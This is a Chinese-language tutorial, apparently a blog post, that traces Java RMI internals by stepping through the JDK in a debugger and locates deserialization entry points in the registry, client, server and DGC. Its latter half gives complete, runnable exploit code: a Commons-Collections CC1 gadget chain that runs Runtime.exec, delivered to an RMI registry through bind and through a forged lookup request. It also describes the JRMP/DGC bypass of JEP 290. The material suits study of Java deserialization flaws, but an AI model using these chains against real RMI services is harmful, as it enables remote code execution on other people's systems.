RMI(Remote Method Invocation,远程方法调用)允许一个 JVM 中的 Java 程序调用另一个 JVM(可在同一台或不同主机)中远程对象的方法,参数、返回值或异常可通过 Java 序列化在网络上传输。
RMI 三部分:
Server(服务端) :绑定远程方法对象,封装网络操作(如 Socket)。
Client(客户端) :调用服务端暴露的方法。
Registry(注册中心) :提供名称注册与查找服务。Server 将远程对象的 Stub 绑定到名称,Client 按名称查询并取得远程引用;远程对象实际监听的通信端口由导出对象时的配置决定。
主要过程:
1.三大角色的创建 :
创建RMI Registry :这是第一个启动的服务。它像一个电话黄页,本身不包含业务逻辑,但记录着所有可用服务的名称和地址。通常通过LocateRegistry.createRegistry(1099)在1099端口启动;
创建RMI Server及其远程对象 :服务端启动后,会实例化真正的业务对象(例如 HelloImpl)。关键的一步是,这个对象需要“导出”,通常通过继承 UnicastRemoteObject来实现,这会使得它在一个匿名端口上监听网络请求;
创建RMI Client :客户端程序启动。在调用远程方法前,它自身并不需要特殊的网络连接。
2. 六次关键通信
Server → Registry(注册) :服务端将刚才创建好的远程对象(实际上是它的“存根”Stub)绑定到一个公开的名字(如 "hello")上,注册到Registry。这就是 Naming.rebind("rmi://host:port/hello", remoteObj)所做的事情;
Client → Registry(查询) :客户端通过服务名向Registry查询,希望获取远程对象的引用。对应 Naming.lookup("rmi://host:port/hello");
Registry → Client(返回Stub) :Registry将服务端之前注册的 Stub对象返回给客户端。这个 Stub是远程对象在客户端的本地代理,包含了远程对象的实际位置(主机名和端口)信息;
Client → Server(远程调用) :这是核心步骤。客户端调用 Stub的方法时,Stub会将方法参数序列化,并通过Socket连接(第二次TCP连接 )发送到 Stub所指向的远程Server的匿名端口上;
Server → Client(返回结果) :服务端执行实际方法,然后将返回值或异常序列化,通过同一个Socket连接发回给客户端。客户端再反序列化,得到最终结果;
维护通信(心跳/租约) :为保证垃圾回收,客户端需周期性地向服务端发送租约通知,告知“我仍在使用”。同时,Client和Server都可能与Registry保持联系,确保服务的可用性;
RMI的工作流程可以参考该图:
0x01 漏洞调试 使用的是java 8u0_65 (<8u121,因为8u121后有防护机制,bind rebind unbind 这三个方法只能对 localhost 进行攻击,8u121 ~ 8u230 有JEP290防护,限制通过白名单或黑名单限制了反序列化的类,但是可以绕过,比如通过JRMP 绕过)
服务端: 1、编写一个远程接口
1 2 3 4 import java.rmi.Remote;import java.rmi.RemoteException;public interface RemoteObj extends Remote { public String sayHello (String keywords) throws RemoteException;}
2、接口实现类
需要继承 UnicastRemoteObject 类,用于生成 Stub(存根)和 Skeleton(骨架);构造函数需要抛出一个RemoteException错误;实现类中使用的对象必须都可序列化(继承java.io.Serializable)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj { public RemoteObjImpl () throws RemoteException { } @Override public String sayHello (String keywords) throws RemoteException { String upperCase = keywords.toUpperCase(); System.out.println("upperCase = " + upperCase); return upperCase; } }
3、注册远端对象:
注册中心port默认是1099,不写也没事,因为是默认的
bind的的绑定这里,只要和客户端的一致就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main (String[] args) throws RemoteException, AlreadyBoundException { RemoteObjImpl remoteObj = new RemoteObjImpl (); Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("remoteObj" ,remoteObj); } }
客户端: 1.定义一个远程对象的接口
客户端需要从注册器中获取远程对象,所以需要一个远程对象的接口,不然不知道获取对象的类型.
1 2 3 4 5 6 7 8 9 package org.example;import java.rmi.Remote;import java.rmi.RemoteException;public interface RemoteObj extends Remote { public String sayHello (String keywords) throws RemoteException; }
2.获取远程对象
调用远程对象方法,从服务端调用sayHello()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example;import java.rmi.NotBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RmiClient { public static void main (String[] args) throws NotBoundException, RemoteException { Registry registry = LocateRegistry.getRegistry("127.0.0.1" , 1099 ); RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj" ); remoteObj.sayHello("111111111111111111111111111111111111111111" ); } }
断点调试 服务端:
先在这里打断点:
1 RemoteObjImpl remoteObj = new RemoteObjImpl ();
RemoteObjImpl类继承UnicastRemoteObject类,所以会先到父类的构造函数,父类的构造函数port传入了0,代表一个随机端口。不同于注册端的1099端口,这个是远程服务的。
继续F7跟进到return exportObject (obj, new UnicastServerRef(port));,从这里跟进。
exportObject()负责将远程服务发布到网络上,继承了继承 UnicastRemoteObject,父类构造方法会自动调用 exportObject(this)。如果没有继承,就必须在代码中显式调用 UnicastRemoteObject.exportObject(this, 0);
第一个参数是obj对象,第二个是new UnicastServerRef(port),用来处理网络请求的,
继续跟进UnicastServerRef;
可以看到new LiveRef(var1),LiveRef是一个核心的底层网络引用类,它封装了远程对象进行网络通信所需的一切基本信息。可以把它理解为远程对象在网络世界的“身份证”和“通讯录”。跟进,在从this跟进:
第一个参数是id,第三个是true,重点关注第二参数,
TCPEndpoint 是一个网络请求的类,TCPEndpoint 的构造函数传参进去是一个 IP 与一个端口,也就是说传进去一个 IP 和一个端口,就可以进行网络请求。
继续 f7 进到 LiveRef 的构造函数 this 里面,发现 host 和 port 是赋值到了 endpoint 里面,而 endpoint 又是被封装在 LiveRef 里面的,所以记住数据是在 LiveRef 里面即可,并且这一 LiveRef 至始至终只会存在一个。
再回到之前出现super(new LiveRef(var1))的地方。 从super进去,证明了只会存在一个LiveRef,
然后继续f7到exportObject(),然后在一路 f7 就好了。直到此处出现 Stub,在创建远程服务出现了 stub 的创建。
结合这张图一起说:
RMI 先在 Service 的地方,也就是服务端创建一个 Stub,再把 Stub 传到 RMI Registry 中,最后让 RMI Client 去获取 Stub。存根包含了如何连接到远程服务器的信息(主机、端口)。当客户端查找远程对象时,实际得到的就是这个存根。
先进到 createProxy 这个方法里面,先进行了基本的赋值,f8往下看。
到了一个明显类加载的地方:
此处就把动态代理创建好了,如图 Stub
继续 f8,到 Target 这里,Target 这里相当于一个总的封装,将所有用的东西放到 Target 里面,我们可以进去看一看 Target 里面都放了什么。
几个 ref 都是同一个,通过 ID 就可以查看到它们是同一个。比如比较 disp 和 stub 的。一个是服务端 ,一个是客户端的,ID 是一样的,都是 695
f8回到之前的new Target(impl, this, stub, ref.getObjID(), permanent);,下一条语句是 ref.exportObject(target),也就是把 target 这个封装好了的对象发布出去。跟进
一直f7到这里。
在从listen这里进去,是真正处理网络请求
先获取 TCPEndpoint(网络请求的类),然后我们继续 f8 往后看,直到 server = ep.newServerSocket(); 这里。它创建了一个新的 socket,已经准备好了,等别人来连接,所以之后在 Thread 里面去做完成连接之后的事。
创建 ServerSocket后,RMI 会启动一个名为 AcceptLoop 的独立后台线程 ,这个线程的唯一任务就是在一个无限循环 中,持续调用 ServerSocket.accept()方法,阻塞等待客户端的连接请求,一旦有客户端连接到来,AcceptLoop线程就会从 accept()方法的阻塞中返回,得到一个代表该连接的 Socket对象。随后,executeAcceptLoop()的核心逻辑开始工作,进行连接处理
并且这个 newServerSocket() 方法会给 port 进行赋值,如果是0,就会随机一个端口
一路 f8,整个流程结束之后 , 里面是增加了 port
super.exportObject(target); 这里f7跟进,在这里ObjectTable.putTarget (target); 跟进,objTable .put(oe, target);到这里在跟进
RMI 这里会把所有的信息保存到两个 table 里面
总结
发布远程对象中,用exportObject()制订发布的IP和端口,端口是一个随机值,发布完之后记录,其关键信息(如对象实例、存根、对应的分发器等)会被封装到一个 Target对象中,类似网络路由表,这个过程没有没有漏洞。
创建注册中心
这里打断点跟进:
1 Registry registry = LocateRegistry.createRegistry(1099);
一直进到这个方法里面RegistryImpl。
判断端口是否为注册中心端口
是否开启SecurityManager
在往下走,到这里,
1 2 LiveRef lref = new LiveRef (id, port);setup(new UnicastServerRef (lref));
类似发布远程对象,主要就是启动网络监听、准备处理客户端请求的核心初始化过程
setup(new UnicastServerRef(lref));,跟进setup,跟之前发布远程对象差不多,
区别在于第三个参数的不同,名为 permanent,第一张是 false,第二张是 true,这代表我们创建注册中心这个对象,是一个永久对象,而之前远程对象是一个临时对象
跟之前一样,跟进uref.exportObject,到创建 Stub ,和之前也一样
跟进createProxy
先判断是否存在XXXX_Stub文件,存在就返回true
创建注册中心是走进到 走到createStub(remoteClass, clientRef);,而发布远程对象 则是直接创建动态代理的。
跟进createStub,就是直接通过反射创建这个对象,里面放的就是 ref
相比于之前发布远程对象 中的 Stub,是一个动态代理,里面放的是一个 ref。
现在发布远程对象 是用 forName 创建的,里面放的也是 ref,是一致的。
继续往下,如果是服务端定义好的,就调用 setSkeleton() 方法,跟进去。然后这里有一个 createSkeleton() 方法,一看名字就知道是用来创建 Skeleton 的,而 Skeleton 在我们的那幅图中,作为服务端的代理。
Skeleton 是用 forName() 的方式创建的,如图。
f8,又到了 Target 的地方,Target 部分的作用也与之前一样,用于储存封装的数据
跟直接一样,跟进ref.exportObject(target);,然后到super.exportObject(target);,继续跟进
ObjectTable.putTarget (target); 封装的数据放进去。
类似网络路由表的功能,当一个远程方法调用请求从网络上传入服务端时,RMI运行时会根据请求中包含的 ObjID等信息,在这个表中查找对应的 Target。一旦找到,就能通过 Target中的分发器(disp)和骨架(skel)将调用最终路由到正确的业务对象(impl)上执行
跟进到if (!target.isPermanent()) ,看看里面有什么,查看 static 中的数据,点开 objTable 中查看三个 Target
几个远程服务,一个端口是固定了,另外两个端口是不固定的,随机产生的。
DGCImpl_Stub,是分布式垃圾回收的一个对象,它并不是我们刚才创建的。
DGCImpl_Stub是 Java RMI 框架中分布式垃圾回收(DGC)机制在客户端的代理或存根。它的核心作用是让客户端能够与服务端的分布式垃圾回收器进行通信,协助判断远程对象是否仍被需要,从而决定是否可以回收。
总结
总结一下比较简单,注册中心这里其实和发布远程对象很类似,不过多了一个持久的对象,这个持久的对象就成为了注册中心。
绑定对象到注册中心
断点下在 bind 语句那里。
首先检查是否是本地绑定的,
默认情况下,RMI 注册表只允许来自本地主机(localhost)的 bind、rebind和 unbind操作
检查一下 bindings 这里面是否有东西,其实 bindings 就是一个 HashTable。如果里面有数据的话就抛出异常。
主要就是检查名称唯一性,在通过权限检查后,方法使用 synchronized (bindings)关键字进入一个同步块,以确保在多线程环境下的操作安全。它首先检查传入的 name是否已经在内部的 bindings(一个哈希表)中存在:
如果名称已存在 (curr != null),则立即抛出 AlreadyBoundException。这保证了名称的唯一性,防止意外覆盖已有的服务绑定
如果名称不存在 ,则执行绑定
继续往前走,就是 bindings.put(name, obj);,也挺好理解的,就是把 IP 和端口放进去,到此处,绑定过程就结束了hhhh,是最简单的一个过程。
name和远程对象 obj(实际上通常是该对象的存根 Stub)作为键值对,存入 bindings哈希表中。至此,客户端就可以通过 name在注册表中查找到这个远程对象的引用
总结
先检查是否是本地绑定,然后检查名字是否具有唯一性,最后将一个远程对象(包含ip和端口)绑定到一个特定的名称上,以便客户端能够通过该名称查找到它。
客户端:
获取注册中心
这里断点进去
1 Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
一直跟进,也是出现了
1 2 3 4 5 iveRef liveRef = new LiveRef (new ObjID (ObjID.REGISTRY_ID), new TCPEndpoint (host, port, csf, null ), false ); (Registry) Util.createProxy(RegistryImpl.class, ref, false );
Util.createProxy()也是通过forName 的方式创建的,就和之前一样,新建了一个 Ref,然后把该封装的都封装到 Ref 里面进去。这里封装的是 127.0.01:1099 的,这里我们就获取到了注册中心的 Stub,下一步就是去查找远程对象。
查找远程对象
1 RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
直接跟进到这里this.ref.invoke(var2);,然后这里跟进
invoke() 方法里面会调用 call.executeCall(),它是真正处理网络请求的方法,也就是客户端的网络请求都是通过这个方法实现的。
主要作用就是:
写入请求 :将准备好的数据通过 ObjectOutputStream写入到与服务端建立的 Socket 连接中
读取响应 :方法会阻塞并等待服务端返回。之后,从同一个连接的 ObjectInputStream中读取服务端发回的字节流
call.executeCall(),f7跟进,这里它有一个异常存在潜在攻击的可能性,in就是数据流的东西,这里获取异常的本意应该是在报错的时候把一整个信息都拿出来,这样会更清晰一点,但是这里就出问题了 ———— 如果一个注册中心返回一个恶意的对象,客户端进行反序列化,这就会导致漏洞。这里的漏洞相比于其他漏洞更为隐蔽。
也就是说,只要调用 invoke(),就会导致漏洞。RMI 在设计之初就并未考虑到这个问题,导致客户端都是易受攻击的。
上述就是注册中心与客户端进行交互时会产生的攻击。
然后直接到最后一步,简单来说就是获取到了 RemoteObj 这个动态代理,其中包含一个 ref。
客户端请求服务端(存在漏洞)
这里就是客户端请求的第三句代码 ————
1 remoteObj.sayHello("hello");
打断点跟进
下面是一堆 if 的判断,都是关于抛出异常的,这里就不再细看了,直接跳过。直到尾部这个地方,我们跟进去看一下。
1 return invokeRemoteMethod(proxy, method, args);
跟进到此处,跟进,因为抛出了任何异常(包括 NoSuchMethodException),RMI框架会捕获这个异常,将它序列化 ,然后通过网络传回给客户端的 UnicastRef,当 UnicastRef.invoke方法收到服务端的响应后,它会检查返回的数据。
到UnicastRef.invoke看看,核心任务就是:
封装请求 :将方法调用的信息(方法对象 method、参数 params等)序列化 成字节流
网络通信 :通过建立的Socket连接,将这个请求发送到服务端
处理响应 :接收服务端返回的字节流,反序列化 后得到结果或异常。
继续往里走,在循环里面有一个 marshalValue() 方法。它会序列化一个值,这个值其实就是我们传进的参数 1111111111111111,它的逻辑如图。判断一堆类型,之后再进行序列化。
继续往前走,我们看到一个注释 // unmarshal return,后面接的是 call.executeCall(),之前我们也看到了这个方法,也就是说只要 RMI 处理网络请求,就一定会执行到这个方法,这里是存在危险的,原理上面已经代码跟过一遍了
所以我们直接往后看。
这里有一个 unmarshalValueSee 的方法,因为现在我们传进去的类型是 String,不符合上面的一系列类型,这里会进行反序列化的操作,把这个数据读回来,这里是存在入口类的攻击点的。
这个数据会被读回来
在注册中心 –> 服务端这里,查找远程对象的时候是存在攻击的。
具体表现形式是服务端打客户端,入口类在 call.executeCall(),里面抛出异常的时候会进行反序列化。 这里可以利用 URLClassLoader 来打
在服务端 —> 客户端这里,也是存在攻击的,一共是两个点:一个是 call.executeCall(),另一个点是 unmarshalValueSee 这里。
分为三步走,先获取注册中心,再查找远程对象,查找远程对象这里获取到了一个 ref,最后客户端发出请求,与服务端建立连接,进行通信。
客户端发起请求,注册中心如何处理
先说说断点怎么打,因为客户端那里,我们操作的是 Stub,服务端这边操作的是 Skel。在有了 Skel 之后应当是存在 Target 里面的,所以我们的断点打到处理 Target 的地方。
skel(骨架):服务端的代理对象(如 RegistryImpl_Skel),负责解析客户端请求,并调用 impl的相应方法。对于动态代理生成的存根,可能没有独立的骨架
在这里打断点,下面debug启动服务端,在启动客户端
1 2 3 4 sun.rmi.transport.Transport Target target = ObjectTable.*getTarget*(new ObjectEndpoint(id, transport));
Target 面包含一个 stub,stub 中是一个 ref,这个 ref 对应的是 1099 端口
再往下走 final Dispatcher disp = target.getDispatcher(); 是将 skel 的值放到 disp 里面。
继续往下走,它会调用 disp 的 dispatch 方法,我们跳进去看一下 disp.dispatch()
继续走,我们目前的 skel 不为 null,会到 oldDispatch() 这里,跟进。
skel.dispatch() 的过程了,这里就有的 客户端打注册中心 的攻击方式
我们与注册中心进行交互可以使用如下几种方式:
list
bind
rebind
unbind
lookup
这几种方法位于 RegistryImpl_Skel#dispatch 中,也就是我们现在 dispatch 这个方法的地方。
如果存在对传入的对象调用 readObject 方法,则可以利用,dispatch 里面对应关系如下:
0->bind
1->list
2->lookup
3->rebind
4->unbind
只要中间是有反序列化就是可以攻击的,而且我们是从客户端打到注册中心,这其实是黑客们最喜欢的攻击方式。我们来看一看谁可以攻击。
总结
RegistryImpl_Skel.dispatch方法是攻击的核心入口。它通过一个 switch语句根据操作码(var3)来分发客户端的请求(如 bind, lookup, rebind等)在处理这些请求时,方法会从客户端传来的数据流中调用 readObject()来反序列化参数,这正是反序列化漏洞可能被触发的地方
注册中心在处理客户端请求的过程中,会对客户端传递过来的序列化数据进行反序列化,可以结合 CC 链子打的。
客户端发起请求,服务端做了什么
也就是当前请求到的是服务端的 Target,我们开始调试。
调试这里有一点小坑,打完两个断点之后,我们得到的第一个 Target 中的 Stub 是 DGCImpl 的,我们要的不是这个,前文我们提到过,这个类是用来处理内存垃圾的。
这里开始断点
动态代理的 stub
一直跟进,直至有 Proxy 动态代理的 stub 为止,如图:
打完断点之后,我们得到的Target 中的 Stub 会有DGCImpl和RegistryImpl_Stub 的,
DGCImpl_Stub:分布式垃圾回收 (DGC) 的客户端代理 。用于服务端(作为客户端角色)向其对等的 DGC 服务(可能在其他 JVM)发送“租约”通知(dirty)和清理通知(clean),以协同管理远程对象的生命周期 ,服务端通过它告知其他持有其对象引用的客户端自己的存活性,并接收客户端的存活性信息,共同决定远程对象何时可被回收
RegistryImpl_Stub:RMI 注册中心的客户端代理 。当服务端需要与注册中心(即使是本地进程的注册中心)通信时(如绑定、查询服务),会通过此代理进行 ,服务端在注册服务(bind/rebind)或客户端在查找服务(lookup)时,其底层通信均通过对应的 RegistryImpl_Stub和 RegistryImpl_Skel完成
Proxy(动态代理对象)客户端通过 registry.lookup()`获取到的正是此对象。它封装了网络通信细节,使远程调用在客户端代码层面看起来像是本地调用
到 dispatch() 方法下,跟进。
这里的 skel 为 null,所以不会执行 oldDispatch 方法,如图
继续往下走,获取到输入流,以及 Method,Method 就是我们之前写的 sayHello() 方法。
继续往下走,重点部分来了 ———— 循环当中的 `` 方法,这里和我们之前说的一样,是存在漏洞的。
unmarshalValue()里面有readObject()
这里的流程和之前是一致的,也就是我们的 "1111111111" 传参传进去,序列化读进去,反序列化读出来,和之前是一致的。
DGC 的 stub
这里打断点
直接走到ObjectTable 类的 putTarget() 方法里面。
还是比较简单的,将 Target 放到一个静态表里面,这里静态表就是我在第三点说的,ObjectTable 里面封装了三个 Target。
然后这里我们会发现,放进去的是 Proxy 这个动态代理的 Target 而非 DGC 的 Target。
这个 DGC 的 Target 挺奇妙的,是已经被封装到了 static 里面,我们去看 static 里面,发现它已经被封装进去了。
那它到底是怎么创建的呢?我们一步步看。
在 DGC 这个类在调用静态变量的时候,就会完成类的初始化。
跟到 DGCImpl 中去看,发现里面有一个 static 作用是初始化
dgc = new DGCImpl(); 在这里打断点看看
后续的部分,createProxy() 方法这里,和注册中心创建远程服务的特别像。
从 createProxy() 方法进去,会看到一个 createStub() 方法,跟进去。这里和注册中心创建远程服务一样,尝试是否可以获取到这一个类 ———— DGCImpl_Stub
这一个 DGCImpl_Stub 的服务至此已经被创建完毕了,它也是类似于创建远程服务一样,但是它做的业务不一样。注册中心的远程服务是用于注册的,这个是用于内存回收的,且端口随机。
setSkeleton() 这个过程就是在 disp 里面创建 skel,和之前是一样的。
调用过程是与第 3、4 点讲的一样的,这里就不重复了。
我们重点关注一下 DGC 的 Stub 里面有漏洞的地方。
到 DGCImpl_Stub 这个类下,它有两个方法,一个是 clean,另外一个是 dirty。clean 就是”强”清除内存,dirty 就是”弱”清除内存。
这里调用了 readObject() 方法,存在反序列化的入口类。
同样在 DGCImpl_Skel 这个类下也存在反序列化的漏洞,如图。
总结一下 DGC 的过程
是自动创建的一个过程,用于清理内存。
租约机制(dirty调用) :当客户端第一次获得某个远程对象的存根(Stub)时,其内部的 DGCImpl_Stub会自动向服务端的 DGCImpl发送一个 dirty调用
清理机制(clean调用) :当客户端本地所有对远程对象的引用都消失(例如,存根被垃圾回收)时,DGCImpl_Stub会(或在合适的时机)自动向服务端发送一个 clean调用,告知服务端:“我不再引用这个对象了。”
漏洞点在客户端与服务端都存在,存在于 Skel 与 Stub 当中。这也就是所谓的 JRMP 绕过,JEP 290 为了解决 RMI 等技术的反序列化漏洞,Oracle 在 JDK 8u121 等版本引入了 JEP 290 机制。它为 RMI Registry 等核心组件设置了反序列化过滤器,建立了一个默认的白名单,只允许反序列化有限的核心类(如 String, Remote等),从而有效拦截了大多数常见的攻击载荷 ,因此,攻击者不再直接攻击防护严格的 RMI Registry ,而是将目光转向了同样基于 JRMP 协议通信但防护可能较弱的 DGC 服务
0x02 RMI 攻击方式 1. 攻击 RMI Registry
0 —– bind
1 —– list(无参数,只有返回值)
2 —– lookup
3 —– rebind
4 —– unbind
1 2 3 4 5 注册中心通过RegistryImpl_Skel.dispatch处理请求 读取方法号(0-4) 通过switch语句分发到对应case 在每个case中调用readObject()反序列化参数 如果参数是恶意对象,就在这里触发漏洞
首先是 list 这种攻击,因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的 。 但是讲道理,list 的这种攻击比较鸡肋。
list() 方法进行攻击(不能反序列化攻击) 用 list() 方法可以列出目标上所有绑定的对象,不能反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.RemoteException;public class registrylist { public static void main (String[] args) throws MalformedURLException, RemoteException { String[] s = Naming.list("rmi://127.0.0.1:1099" ); System.out.println(s); } }
bind 和rebind 的攻击 用到cc1链路攻击,
1 2 3 4 5 6 7 <dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies>
复习一下cc1攻击流程:
**执行危险方法的尾链:**InvokerTransformer#transform 通过反射调用任意方法,是执行命令的最终点,这样我们就可以反射调用Runtime类,执行系统命令
过程:
TransformedMap#checkSetValue 调用了transform方法
AbstractInputCheckedMapDecorator.MapEntry#setValue调用了setValue, 这是TransformedMap内部父类的一个方法,通常在遍历Map的Entry时通过setValue触发。
执行 readObject() 的入口: AnnotationInvocationHandler#readObject 重写了 readObject(),会遍历 Map.Entry 并调用 setValue(),从而触发后续链条。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public static Object cc1 () throws Exception { Transformer[] transformer = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "drunkbaby" ); Map<Object, Object> transformedMap = TransformedMap.decorate( hashMap, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object o = aihConstructor.newInstance(Target.class, transformedMap); return o; }
但是RMI Registry只接受实现了 Remote接口的对象。直接扔过去一个 AnnotationInvocationHandler是不行的,现在我们要让客户端的 bind() 方法执行 readObject(),客户端收到信息的时候是一个 Proxy 对象,让 Proxy 对象被执行的时候去调 readObject() 方法,可以先点进去 Proxy 对象看一看,其中有一个非常引人注目的方法 ———— newProxyInstance()
动态代理的作用 :但 AnnotationInvocationHandler本身并不是一个 Remote对象,无法直接通过RMI注册。在运行时动态地创建一个新的类实例,这个实例实现了你指定的一组接口 (在这里,最重要的就是 java.rmi.Remote接口
Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)这行代码创建了一个动态代理对象。 这个代理对象在运行时实现了 Remote接口,因此可以被RMI Registry接受。
所有对这个代理对象的方法调用,都会被转发给第三个参数——也就是我们传入的 handler(即我们造的“炸弹”)。
通过这步,我们得到了一个“外壳”是合法的 Remote对象,但“内核”却是恶意 AnnotationInvocationHandler的代理实例。它可以被序列化。
看Proxy.newProxyInstance代码就知道了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class registrybind { public static void main(String[] args) throws Exception { // 1. 获取RMI注册中心连接 Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); // 连接到本地的RMI注册中心,端口1099 // 2. 创建恶意InvocationHandler InvocationHandler handler = (InvocationHandler) cc1(); // cc1()返回的AnnotationInvocationHandler实现了InvocationHandler接口 // 3. 关键:用动态代理包装成Remote对象 Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), // 类加载器 new Class[] { Remote.class }, // 要实现的接口列表 handler)); // 调用处理器 // 这行代码创建了一个动态代理对象: // - 实现了Remote接口(所以可以传给RMI) // - 所有方法调用都转发给handler(即我们的恶意AnnotationInvocationHandler) // 4. 绑定到RMI注册中心 registry.bind("test", remote); // 这个调用会: // 1. 序列化remote对象 // 2. 发送到RMI服务器 // 3. 服务器反序列化时触发命令执行 } }
1 2 3 4 5 6 7 8 9 10 11 客户端行为: 1. 构造恶意AnnotationInvocationHandler对象 2. 用Proxy包装成Remote对象 3. 调用registry.bind()发送 4. 攻击完成,控制权已获取 注册中心行为(受害者): 1. 接收bind请求 2. 反序列化传入的remote对象 3. 触发AnnotationInvocationHandler.readObject() 4. 执行恶意代码(如calc)
unbind 或 lookup 的攻击 大致的思路还是和 bind/rebind 思路是一样的,但是 lookup 这里只可以传入 String 类型。
RMI客户端与Registry服务端的通信被封装在 UnicastRef等对象中。所以我们只能通过反射机制,从而能够手动构造一个合法的RMI协议网络请求 ,但其中包含恶意负载。
1 2 3 4 5 6 7 Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0 ].setAccessible(true ); UnicastRef ref = (UnicastRef) fields_0[0 ].get(registry); Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0 ].setAccessible(true ); Operation[] operations = (Operation[]) fields_1[0 ].get(registry);
手动构造一个RMI调用(模拟 lookup操作),并将恶意代理对象发送出去。
关键点 :这里伪造的是操作号(operation number)为2的调用,在RMI协议中通常对应 lookup方法。服务端在处理 lookup请求时,会对客户端发送的参数进行反序列化
触发 :当RMI Registry服务端接收到这个请求后,它会反序列化 var3.writeObject(remote)发送的数据。为了还原 remote这个代理对象,就需要还原其内核——我们设置的恶意 InvocationHandler(即 AnnotationInvocationHandler)。在还原(反序列化)这个处理器时,其 readObject方法被调用,整个CC1利用链被激活,导致命令在服务端 执行
1 2 3 4 5 // 伪造lookup的代码,去伪造传输信息 RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2);
最终代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import sun.rmi.server.UnicastRef;import java.io.ObjectOutput;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.Operation;import java.rmi.server.RemoteCall;import java.rmi.server.RemoteObject;import java.util.HashMap;import java.util.Map;public class registrylookup { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class [] { Remote.class }, handler)); Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0 ].setAccessible(true ); UnicastRef ref = (UnicastRef) fields_0[0 ].get(registry); Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0 ].setAccessible(true ); Operation[] operations = (Operation[]) fields_1[0 ].get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2 , 4905912898345647071L ); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); } public static Object CC1 () throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" ,"drunkbaby" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object o = aihConstructor.newInstance(Target.class, transformedMap); return o; } }
